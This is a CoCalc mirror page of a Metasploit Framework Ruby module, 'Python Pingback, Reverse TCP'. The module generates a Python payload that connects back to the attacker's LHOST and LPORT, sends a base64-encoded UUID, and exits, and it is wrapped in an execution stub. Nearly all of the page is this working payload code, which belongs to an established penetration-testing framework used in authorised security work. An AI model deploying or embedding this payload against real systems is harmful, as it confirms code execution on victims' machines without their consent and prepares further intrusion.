CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/python/pingback_reverse_tcp.rb
Views: 11766
1
2
module MetasploitModule
3
4
CachedSize = :dynamic
5
6
include Msf::Payload::Single
7
include Msf::Payload::Python
8
include Msf::Payload::Pingback
9
include Msf::Payload::Pingback::Options
10
11
def initialize(info = {})
12
super(merge_info(info,
13
'Name' => 'Python Pingback, Reverse TCP (via python)',
14
'Description' => 'Connects back to the attacker, sends a UUID, then terminates',
15
'Author' => 'asoto-r7',
16
'License' => MSF_LICENSE,
17
'Platform' => 'python',
18
'Arch' => ARCH_PYTHON,
19
'Handler' => Msf::Handler::ReverseTcp,
20
'Session' => Msf::Sessions::Pingback,
21
'PayloadType' => 'python'
22
))
23
end
24
25
def generate(_opts = {})
26
super.to_s + command_string
27
end
28
29
def command_string
30
self.pingback_uuid ||= self.generate_pingback_uuid
31
cmd = <<~PYTHON
32
import binascii as b
33
import socket as s
34
o=s.socket(s.AF_INET,s.SOCK_STREAM)
35
try:
36
o.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
37
o.send(b.a2b_base64('#{[[self.pingback_uuid].pack('H*')].pack('m0')}'))
38
o.close()
39
except:
40
pass
41
PYTHON
42
43
py_create_exec_stub(cmd)
44
end
45
end
46
47